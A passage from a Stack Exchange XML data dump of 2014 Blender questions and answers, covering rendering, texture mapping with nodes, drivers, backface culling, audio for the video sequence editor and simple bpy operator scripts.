  <row Id="15810" PostTypeId="2" ParentId="15753" CreationDate="2014-09-13T17:52:45.110" Score="2" Body="&lt;p&gt;Instead of using a driver, use that Python snippet to set the value in the &lt;code&gt;render_pre&lt;/code&gt; &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;application handler&lt;/a&gt;. This should stop it continuously restarting the viewport render.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2014-09-13T17:52:45.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15812" PostTypeId="2" ParentId="15802" CreationDate="2014-09-13T20:07:24.340" Score="3" Body="&lt;p&gt;When you import into Unity, there is an option to calculate normals, instead of importing them. Have you tried that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender also has an option to show surface normals, as well as recalculate normals to face in or out of the mesh. &lt;/p&gt;&#xA;" OwnerUserId="5992" LastActivityDate="2014-09-13T20:07:24.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15813" PostTypeId="1" AcceptedAnswerId="15864" CreationDate="2014-09-13T20:07:24.587" Score="0" ViewCount="191" Body="&lt;p&gt;I'm trying to apply rotation and scale to all objects, but blender apparently doesn't recognize its own functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7047/apply-transforms-to-linked-objects&quot;&gt;I've copied this answers code&lt;/a&gt; and get the following error:&#xA;'Object' object has no attribute 'transform_apply'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For such a simple function there seems to be little speak of it, I suppose because no one else is having trouble with it. How do I figure out what's the problem?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.selected_editable_objects:&#xA;    bpy.ops.object.transform_apply(location=False, rotation=True, scale=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6020" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-09-15T09:10:05.700" Title="Blender python default function not recognized?" Tags="&lt;python&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2014-09-18T16:57:31.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="15814" PostTypeId="1" AcceptedAnswerId="15960" CreationDate="2014-09-13T20:12:20.593" Score="2" ViewCount="836" Body="&lt;p&gt;I know there were tricks like cutting inside the volume object with another object with boolean modifier (this one I'd like to avoid) and another with putting the camera inside some sort of a bubble with inverted normals. The latter is the one I'd like to use, however I can't set it up properly.&#xA;Does the &quot;bubble&quot; object need some specific material or is there something more I need to know? Or that doesn't work anymore?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, seems like there is a fix on the way, as pointed out:&#xA;&lt;a href=&quot;https://developer.blender.org/D794&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/D794&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1610" LastEditorUserId="1610" LastEditDate="2014-09-17T17:31:21.280" LastActivityDate="2015-08-11T21:26:26.453" Title="How to render in cycles volume with camera inside" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;camera&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15815" PostTypeId="2" ParentId="15784" CreationDate="2014-09-13T20:30:04.193" Score="11" Body="&lt;p&gt;Welcome to the wonderful world of math!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SqUDW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note that the top face gets a little screwed up if it's perfectly flat, but that's easy to fix just by &lt;a href=&quot;https://i.stack.imgur.com/dHLf6.jpg&quot; rel=&quot;noreferrer&quot;&gt;adding or subtracting a small value&lt;/a&gt; before the Modulo math node)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Modulo_operation&quot; rel=&quot;noreferrer&quot;&gt;Modulo&lt;/a&gt; is a math operation available in the Math node. It gives the remainder when dividing two numbers (e.g: 5 mod 2 = 1, 9 mod 3 = 0, or 2.3 mod 1.0 = 0.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, we divide the coordinates (which range from 0.0 to 10.0, since the mapping scale is on 10) by 1.0, and thus for every whole number the math node shows black (remainder is 0.0), but as the decimal increases it'll get lighter (bigger and bigger remainders) until we reach the next whole number and it turns black again, restarting the cycle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a gradient texture only changes on one axis, we only need to do the modulo operation on the X axis, but in other cases you may want to do it for the Y and Z axes as well.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-09-13T20:30:04.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15816" PostTypeId="1" AcceptedAnswerId="15826" CreationDate="2014-09-13T21:19:38.060" Score="2" ViewCount="10959" Body="&lt;p&gt;I followed a blender 2.5 tutorial for rendering a background image as a sky. It does not work in blender 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutorial link: &lt;a href=&quot;http://vimeo.com/18689703&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vimeo.com/18689703&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a couple of pictures of what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ix5Ff.jpg&quot; alt=&quot;Sky appears around rendered scene instead of inside it&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sky appears around the rendered scene instead of appearing as an actual sky inside the rendered scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mVZeH.jpg&quot; alt=&quot;Rendered sky&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendered image's sky only appears as the gray shaded sky. The image of the sky that I tried to add does not appear as if it is a real sky in the rendered scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the sky to appear like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4v3ng.jpg&quot; alt=&quot;Sky in blender 2.5 tutorial&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sky inside the rendered scene instead of around it.&lt;/p&gt;&#xA;" OwnerUserId="6014" LastActivityDate="2014-10-10T15:52:51.680" Title="How do I render a background image as a sky in blender 2.7x" Tags="&lt;rendering&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15817" PostTypeId="2" ParentId="15816" CreationDate="2014-09-13T21:32:11.090" Score="1" Body="&lt;p&gt;If using Cycles, you need to switch you film to transparent in the render setting panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QqoMQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there also seems to be a bug in the compositor; rendering at less than 100% of your render dimensions doesn't similarly scale down input images. So you'll need to render at 100%.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-09-14T21:39:12.913" LastActivityDate="2014-09-14T21:39:12.913" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15818" PostTypeId="2" ParentId="15784" CreationDate="2014-09-13T22:32:16.130" Score="9" Body="&lt;p&gt;The Vector Mapper came to mind as the first place to look, but it does seem to have the necessary capability. It's still useful for scaling and rotating textures, so we keep it anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The repetition can be done with a conglomeration of simpler nodes.  Being able to assemble simple nodes in all kinds of ways to accomplish anything is what makes Cycles so poweful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the nodes Input -&gt; Texture Coordinates, Vector Mapper, Converter -&gt; Separate RGB and Combine RGB, and Converter -&gt; Math (two of them).    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send &quot;Generated&quot; (or whatever your favorite) texture coordinates into the Vector Mapper, so you can control the orientation of the repeating texture. (Make sure the Min and Max checkboxes are off.)  The Mapper's output is split into separate x,y,z using the RGB splitter. The Splitter doesn't care if the given data is a geometric vector or a color, as long as there's three numbers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The three outputs feed into the three inputs of a Combiner, except 'X' (aka 'R') goes to a Math node set for Multiply. Put a number in the second slot, like 7, or 20.  The output of this goes to the second Math node, set for 'Modulo'. Its second slot should be 1.0. This feeds the 'R' of the RGB Combiner.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Combiner's output is the mapped texture coordinate with 'X' made repeating, like a sawtooth wave, ramping up from 0.0 to 1.0 then dropping to 0.0 each cycle.  Feed this as the 'Vector' of the Texture node, Gradient or otherwise.  Behold, the texture repeats!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t5UHI.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j1YQ2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="606" LastEditDate="2014-09-13T22:45:22.383" LastActivityDate="2014-09-13T22:45:22.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15819" PostTypeId="1" CreationDate="2014-09-13T22:39:26.820" Score="3" ViewCount="62" Body="&lt;p&gt;I'm trying to animate several objects along a curve with the Follow Path constraint. If I adjust the Offset of one object, I must adjust all the ones behind it. This is tedious. Is there a way for me make the Offsets relative to one another?&#xA;For example,  is equal to (  + 10). If Suzanne has an offset of 24, then cube's offset is 34, ect.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6028" LastActivityDate="2014-09-14T03:30:06.513" Title="Is there a way to make a given value relative to another piece of value?" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15820" PostTypeId="1" CreationDate="2014-09-13T23:44:55.553" Score="0" ViewCount="687" Body="&lt;p&gt;I have two separate objects both using Freestyle lines. They need to be near each other in zdepth. Being cylindrical, the outside one is both in front of and behind the inner one. The Freestyle lines of the inner one show through the outer one randomly at different places. How can I stops background freestyle lines from showing through thin foreground objects when near in zdepth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. - I'm using test build 1 of 2.72, but I've had this issue before. Is there a setting somewhere that I can use to eliminate this artifact? Something like.... handling zdepth with higher numeric precision?&lt;/p&gt;&#xA;" OwnerUserId="571" LastActivityDate="2014-10-18T15:09:13.313" Title="How can I stops background freestyle lines from showing through thin foreground objects when near in zdepth?" Tags="&lt;rendering&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-22T21:34:28.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="15821" PostTypeId="2" ParentId="7509" CreationDate="2014-09-14T00:09:32.983" Score="12" Body="&lt;p&gt;I spent forever experimenting on getting a realistic volume atmosphere for a gas giant. My method will be explained step by step below.&lt;/p&gt;&#xA;&lt;p&gt;** UPDATE **&#xA;While simplifying the node setup (easier to remember and faster renders), I discovered that the color ramp does nothing. Screenshots added.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5RZTU.jpg&quot; alt=&quot;The result&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CYMOj.png&quot; alt=&quot;Node setup&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;1: To get a realistic density gradient and to have the edges of the atmosphere taper, you will need to connect the &lt;em&gt;Object&lt;/em&gt; output to a Mapping node, and set that to &lt;em&gt;point&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;2: The scaling of that mapping node has to be the square root of the atmosphere sphere's size (in the sample scene, the sphere was 10 units, so the scaling was left at 1) or else the volume will go beyond the edges of the object. The result is a volume material that is smaller than the edges of the object.&lt;/p&gt;&#xA;&lt;p&gt;3: Connect the mapping vector to the gradient texture node, and set that to &lt;em&gt;spherical&lt;/em&gt;. Connect the &lt;em&gt;Fac&lt;/em&gt; output to a multiply node.&lt;/p&gt;&#xA;&lt;p&gt;4: The Multiply node needs to multiply the input by the square of the object's radius (which would be 10 in this example) x 10-100 (depending on how thick you want your atmosphere), and that the Multiply node in turn needs to be connected to both volume nodes.&lt;/p&gt;&#xA;&lt;p&gt;6: Rayleigh scattering is easily emulated by using a combination of Scatter and Absorb nodes. Absorb has to have blue at 0.995, green at 0.088 and red at 0.024 (corresponding with the extinction coefficient of water; Neptune and Jupiter type planets have water and ammonia clouds and ices in them) and Scatter has to have Red at 0.224 Green at 454 and Blue at 0.950 (corresponding to the scattering probabilities of Lord Rayleigh). Absorb needs to go to the bottom input of the Mix Shader (before the one that controls density) and Scatter needs to go to the top one. The Mix Shader's &lt;em&gt;Fac&lt;/em&gt; value should equal the albedo you want, which is 0.27 for Neptune and roughly the same for Earth. A rocky planet's atmosphere will not need the absorb node. Anisotropy for the scatter should be 0.250 to get the edge brightening that comes from peering through the atmosphere at a grazing angle.&lt;/p&gt;&#xA;&lt;p&gt;7: For a rocky planet's atmosphere, it is helpful to simulate haze from dust. Add an addition scatter node and an extra mix shader. The different types of dust has different optical properties, so you will have to experiment. The new scatter node should plug into the top input of the mix shader and be no more than a few percent of the overall mix.&lt;/p&gt;&#xA;" OwnerUserId="6030" LastEditorUserId="106269" LastEditDate="2020-10-04T03:17:48.793" LastActivityDate="2020-10-04T03:17:48.793" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15822" PostTypeId="2" ParentId="15819" CreationDate="2014-09-14T03:30:06.513" Score="3" Body="&lt;p&gt;You can do that easily with &lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;drivers&lt;/a&gt;. Drivers can be hard to understand, but are very powerful.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; click on the &lt;em&gt;Offset&lt;/em&gt; field in the &lt;em&gt;Follow Path&lt;/em&gt; constraint that you want to be linked to the other constraint's value (I will call this &lt;em&gt;object 1&lt;/em&gt;). &lt;/li&gt;&#xA;&lt;li&gt;Chose &lt;em&gt;Add driver&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Open up the &lt;em&gt;Graph Editor&lt;/em&gt; and switch it to &lt;em&gt;Drivers&lt;/em&gt;, click on the &lt;em&gt;Offset Factor (Follow Path)&lt;/em&gt; in the list of drivers on the left.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to open up the &lt;em&gt;Properties&lt;/em&gt; panel to edit the driver. &lt;img src=&quot;https://i.stack.imgur.com/IfNBK.png&quot; alt=&quot;Graph Editor showing drivers&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the var type to &lt;em&gt;Single Property&lt;/em&gt;, point the &lt;em&gt;Prop:&lt;/em&gt; to the object that has the other &lt;em&gt;Follow Path&lt;/em&gt; constraint.&lt;/li&gt;&#xA;&lt;li&gt;Select the object that has the other &lt;em&gt;Follow Path&lt;/em&gt; constraint (in my example it is &lt;em&gt;Suzanne&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; click on the &lt;em&gt;Offset&lt;/em&gt; field in the &lt;em&gt;Follow Path&lt;/em&gt; constraint chose &lt;em&gt;Copy Data Path&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;em&gt;object 1&lt;/em&gt;, go back to the &lt;em&gt;Graph Editor&lt;/em&gt;, and paste in the value for the &lt;em&gt;Path:&lt;/em&gt;, should be this &lt;code&gt;constraints[&quot;Follow Path&quot;].offset_factor&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;em&gt;Expr:&lt;/em&gt; to be &lt;code&gt;var + 10&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.187" LastActivityDate="2014-09-14T03:30:06.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15824" PostTypeId="2" ParentId="15800" CreationDate="2014-09-14T05:35:22.567" Score="1" Body="&lt;p&gt;As cegatron mentioned, if your happy with the result then you only need one sample. Something to consider is that one sample also effectively eliminates anti-aliasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By choosing Branched Path Tracing you can also get more control over the samples used. You might have a scene that uses SSS so you can increase the subsurface samples but keep the glossy samples at one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jVFOI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-14T05:35:22.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15825" PostTypeId="2" ParentId="15813" CreationDate="2014-09-14T06:03:47.517" Score="1" Body="&lt;p&gt;That error indicates that no objects are selected when the operator is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The for loop you show should prevent that, so you must have another copy of that (or another) operator call, or you are trying the one line by itself to get the error.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-14T06:03:47.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15826" PostTypeId="2" ParentId="15816" CreationDate="2014-09-14T06:11:46.030" Score="2" Body="&lt;p&gt;For Blender Render you set the transparency in the shading panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yM6nv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-14T06:11:46.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15827" PostTypeId="1" AcceptedAnswerId="191176" CreationDate="2014-09-14T07:35:31.480" Score="5" ViewCount="9745" Body="&lt;p&gt;How do you hide back faces so that you only see faces when its normal is facing the camera? When exporting it for use in a game, the face is rendered in only the direction of its normal, so this would be useful to have something similar.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2020-08-16T08:17:39.427" Title="Hide back faces in 3D View?" Tags="&lt;modeling&gt;&lt;interface&gt;&lt;workflow&gt;&lt;3d-view&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15828" PostTypeId="2" ParentId="15827" CreationDate="2014-09-14T08:04:50.283" Score="9" Body="&lt;p&gt;You find the &lt;em&gt;Backface Culling&lt;/em&gt; option in the &lt;em&gt;Properties Panel&lt;/em&gt; &lt;kbd&gt;N&lt;/kbd&gt; shading section while in &lt;em&gt;Object Mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect with a default cube and one partially removed face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/INdY2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When renderer is set to &lt;em&gt;Game Engine&lt;/em&gt; the &lt;em&gt;Backface Culling&lt;/em&gt; option is also available in the material's settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bXFiD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-14T08:04:50.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15830" PostTypeId="1" AcceptedAnswerId="15832" CreationDate="2014-09-14T11:52:45.073" Score="5" ViewCount="3247" Body="&lt;p&gt;I want to make a tutorial video where I explain something. &#xA;In most commercial video editors, there is the possibility to see a video and to start a live audio record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like this also possible with Blender, or do I have to record my commentary separately outside of Blender, and then hope that video and audio fit together?&lt;/p&gt;&#xA;" OwnerUserId="4889" LastActivityDate="2017-01-29T04:19:01.900" Title="How to create a video with audio comment?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15832" PostTypeId="2" ParentId="15830" CreationDate="2014-09-14T12:43:03.973" Score="4" Body="&lt;p&gt;Blender has no audio recording functions. You could simply play your animation and record with &lt;a href=&quot;http://audacity.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Audacity&lt;/a&gt; to MP3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recordings can be arranged in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Video Sequence Editor&lt;/em&gt;&lt;/a&gt; (VSE) to synchronize them with the video , it might be helpful to record a each few sentences to a separate files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image of the VSE while moving around audio tracks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9sviZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-14T12:43:03.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15833" PostTypeId="1" CreationDate="2014-09-14T15:15:17.567" Score="0" ViewCount="78" Body="&lt;p&gt;At this time, there is no way I know of to track live footage in AE and then to export the camera data to Blender as a matter of routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, there is an interesting cheat that works very well in many situations.  I present it here as I know many have asked and the answers are all over the place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the footage in AE and do a normal 3D camera track.  Set up the ground plane, etc. to get the AE camera fully aligned.  AE is ready to go as soon and the tracking is setup to enable a good target layer to be locked down.  Then, make a small (100 X 100 px) solid and lock it on a solid AE track point.  Make several more of these spread near and far and use enough that no frame goes by without at least 8 widely distributed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render out the footage and import it to Blender.  Set up the Blender 3D camera track manually with track markers covering each of the little AE solids.  Run the Blender tracker and voila.  Blender 3D camera movement will follow the live action perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comments are welcome.  Good luck.&lt;/p&gt;&#xA;" OwnerUserId="5799" LastActivityDate="2014-09-14T15:15:17.567" Title="Import After Effects camera data to Blender" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-09-14T22:03:45.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="15835" PostTypeId="1" AcceptedAnswerId="15850" CreationDate="2014-09-14T17:18:23.813" Score="3" ViewCount="4560" Body="&lt;p&gt;I've been working all the day long on a video project using the VSE. I am using very low def footage (720 x 406). The editing was mainly finished and Blender was working fast (playback 24fps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, suddenly, it became incredibly slow (4 sec for one frame). I saved, reboot, open it again but still the same. When I open an other project, even an heavy one, everything's fine. But this one keep bugging the rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why ? A solution ? Thank you very much !&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2015-11-11T04:31:59.343" Title="VSE suddenly slow like hell" Tags="&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15836" PostTypeId="1" AcceptedAnswerId="15837" CreationDate="2014-09-14T17:30:49.933" Score="3" ViewCount="2677" Body="&lt;p&gt;Using blender 2.71, I'm trying to put a texture on an object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following this tutorial, at 1:10 you should be able to setup a mapping&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=6gRUUeFteQg&amp;amp;t=1m10s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=6gRUUeFteQg&amp;amp;t=1m10s&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;screen shot of tutorial with mapping pane&lt;/sub&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0dlHQ.png&quot; alt=&quot;screen shot of tutorial with mapping pane&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running the same version of blender as the tutorial, yet I don't have the mapping pane in the bottom right corner. How do I enable it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/07gEn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/07gEn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="2217" LastEditDate="2014-09-14T17:41:34.563" LastActivityDate="2014-09-16T15:01:01.010" Title="How to change the mapping of a texture in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15837" PostTypeId="2" ParentId="15836" CreationDate="2014-09-14T17:32:39.470" Score="7" Body="&lt;p&gt;The tutorial is using the &lt;em&gt;blender internal&lt;/em&gt; render, you are using &lt;em&gt;cycles&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the mapping type in cycles, click on the field for the &lt;em&gt;Vector&lt;/em&gt; of your texture.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YJhF8.png&quot; width=&quot;256&quot; height=&quot;456&quot;&gt;&lt;br&gt;&#xA;Or in the node editor, add either a &lt;em&gt;UV Map&lt;/em&gt; node or a &lt;em&gt;Texture Coordinate&lt;/em&gt; node.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2DzUf.png&quot; alt=&quot;nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-09-16T12:55:32.437" LastActivityDate="2014-09-16T12:55:32.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15838" PostTypeId="2" ParentId="15830" CreationDate="2014-09-14T17:55:48.740" Score="1" Body="&lt;p&gt;You don't have to &quot;hope&quot;.&#xA;Just record a screencast with audio with software like &lt;a href=&quot;https://obsproject.com/&quot; rel=&quot;nofollow&quot;&gt;Open Broadcaster Software&lt;/a&gt; (Windows/OSX) or &lt;a href=&quot;http://www.maartenbaert.be/simplescreenrecorder/&quot; rel=&quot;nofollow&quot;&gt;Simple Screen Recorder&lt;/a&gt; (linux) and if needed edit it later. Or - as suggested - record audio separately with &lt;a href=&quot;http://audacity.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Audacity&lt;/a&gt; and stitch it together with software of your choice.&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2014-09-14T17:55:48.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15839" PostTypeId="1" AcceptedAnswerId="15849" CreationDate="2014-09-14T18:48:10.760" Score="1" ViewCount="395" Body="&lt;p&gt;How I can distort image(movie clip) from rectangle coords to polar? Maybe I can do it in Node Editor or whatever?&#xA;I need to replace pixels from XY to Angle R. But how I can do it? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6041" LastEditorUserId="6041" LastEditDate="2014-09-14T20:57:30.967" LastActivityDate="2015-03-11T06:22:23.010" Title="How I can distort image(movie clip) from rectangle to polar?" Tags="&lt;nodes&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15841" PostTypeId="1" CreationDate="2014-09-14T20:26:27.083" Score="1" ViewCount="691" Body="&lt;p&gt;This is a followup to the question &lt;a href=&quot;https://blender.stackexchange.com/questions/15540/calling-an-operator-from-an-application-handler/15541#15541&quot;&gt;Calling an Operator from an application handler&lt;/a&gt;.&#xA;I'm trying to start a modal operator running when rendering is finished, so I can capture the user's mouse and keyboard actions at that time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class FooOp(bpy.types.Operator):&#xA;    bl_idname = &quot;development.fooop&quot;&#xA;    bl_label = &quot;Foo&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls,context):&#xA;        return True&#xA;&#xA;    def execute(self, context):&#xA;        return self.invoke(context, None)&#xA;&#xA;    def invoke(self,context,event):&#xA;        self.report({'INFO'},&quot;running FooOp!&quot;)&#xA;        context.window_manager.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def modal(self,context,event):&#xA;        return({'FINISHED','PASS_THROUGH'})&#xA;&#xA;def make_foo(scene):&#xA;    bpy.ops.development.fooop('EXEC_DEFAULT')&#xA;&#xA;bpy.app.handlers.render_complete.append(make_foo)&#xA;bpy.utils.register_class(FooOp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run this script, and then render something, blender 